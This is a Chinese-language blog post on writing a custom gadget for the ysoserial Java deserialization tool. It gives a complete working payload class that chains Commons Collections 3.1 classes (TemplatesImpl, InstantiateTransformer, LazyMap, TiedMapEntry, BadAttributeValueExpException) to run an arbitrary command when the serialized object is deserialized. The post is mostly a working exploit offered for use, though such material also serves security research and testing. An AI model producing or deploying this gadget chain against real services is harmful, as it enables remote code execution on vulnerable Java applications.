Develop ysoserial for your Gadget

如何在 ysoerial 上编写你自己的 Gadget 呢?

简单分析一下,主入口需要接收两个参数,第一个参数是类名,第二个参数是执行命令。

类需要实现 ObjectPayload 接口中的 getObject 方法,返回一个泛型对象。这个对象就是需要被序列化的

然后这个类需要有这个注解

@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})

实现的类也可以继承 PayloadRunner 然后就可以在 Main 方法中传入

 PayloadRunner.run(CommonsCollections7.class, args);

进行序列化和反序列化操作,其中 args 是要执行的命令,默认是 calc

想要创建 createTemplatesImpl 可以利用 ysoserial.payloads.util 的 Gadgets

想要做反射操作可以借助 ysoserial.payloads.util.Reflections

像这样,我很快的编写出了一个 Gadget:

package ysoserial.payloads;

import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.transformer.TrAXFilter;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Map;

/**
 * @author Shule
 * CreateTime: 2023/10/22 14:08
 */
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.SHULE})
public class CommonsCollections3k extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

    @Override
    public BadAttributeValueExpException getObject(String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
        HashMap hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap, instantiateTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, TrAXFilter.class);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new Object());
        Reflections.setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
        return badAttributeValueExpException;
    }

    public static void main(String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections3k.class,args);
    }
}

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇